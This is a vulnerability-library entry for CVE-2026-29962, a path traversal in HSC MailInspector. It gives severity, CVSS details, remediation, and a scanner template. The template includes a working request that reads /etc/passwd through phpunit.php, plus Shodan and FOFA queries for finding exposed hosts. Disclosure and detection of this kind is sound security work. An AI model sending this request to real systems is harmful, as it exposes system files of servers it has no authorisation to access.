/Vulnerability Library

HSC MailInspector - Local File Inclusion

CVE-2026-29962
Early Release

Description

HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.

Severity

High

CVSS Score

7.5

Exploit Probability

0%

Affected Product

mailinspector

Published Date

September 2, 2026

Template Author

str4k3r

CVE-2026-29962.yaml
id: CVE-2026-29962

info:
  name: HSC MailInspector - Local File Inclusion
  author: str4k3r
  severity: high
  description: |
    HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.
  impact: |
    Remote attackers can read arbitrary files, potentially disclosing sensitive information from the system.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29962
  classification:
    cve-id: CVE-2026-29962
    epss-score: 0.00372
    epss-percentile: 0.30506
    cwe-id: CWE-73
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: hsclabs
    product: mailinspector
    shodan-query: http.html:"mailinspector"
    fofa-query: body="mailinspector"
  tags: cve,cve2026,mailinspector,php,phpunit,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mailinspector"

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "/mailinspector/"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/mailinspector/vendor/phpunit/phpunit.php?--bootstrap=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "root:x:0:0:"
# digest: 4a0a0047304502200c520bfab05076be9016209ff3e8adbc57efa4c1b539bc8fab3ca3f14d1255f3022100d8eb372fdf52b57fd349d20e571a67186c4b4fe896f9632b137c6277469d1a8b:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-29962
CWE ID:
cwe-73

References

https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.mdhttps://nvd.nist.gov/vuln/detail/CVE-2026-29962

Remediation Steps

Update to the latest version.